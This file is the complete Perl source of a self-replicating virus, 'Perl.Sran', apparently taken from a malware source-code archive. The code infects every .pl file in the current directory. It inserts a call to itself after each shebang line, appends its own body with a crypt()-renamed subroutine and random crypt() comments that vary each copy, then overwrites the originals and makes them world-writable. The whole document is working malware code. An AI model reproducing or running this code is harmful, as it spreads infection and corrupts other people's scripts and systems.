vxug-MalwareSourceCode/Perl/Virus.Perl.Sran.a

Perl.Sran

qwerty();#

sub qwerty {

a: while (<*.pl>)
    {
        my $oF = "qwerty";
        my $tN = "$ENV{\"HOME\"}/tmp/".crypt($_, $_), $oN = "./$_", $nF = crypt($_, $oF);   
            
        open (WE, "<$0");                                       
        open (IFILE, "<$_");
        open (TEMP, ">$tN");                                    
        
            while (<IFILE>) 
            {
                chomp;
                if (/\#!Sran/) { unlink ($tN); next a }         
                elsif (!/#!\//) { print TEMP "$_\n" }
                else { print TEMP "$_ #!Sran\n$nF();\n" }               
            }
            
            while (<WE>)
            {
                $st = "";
                
                s/#[0-9].*/$st/;
                if (/sub $oF/ || /my \$oF =/) { $cW = 1; s/$oF/$nF/}
                next if (/#!\/usr\/bin\/perl/ || /qwerty();#/ || !$cW);
                if (int(rand(2))) { $st=" #".crypt($_, rand(256)) }
                else {$st = ""}
                
                chomp;
                print TEMP "$_$st\n";
            }
        
        unlink ($oN);
        rename ($tN, $oN);
        chmod (0777, $oN);
    }
}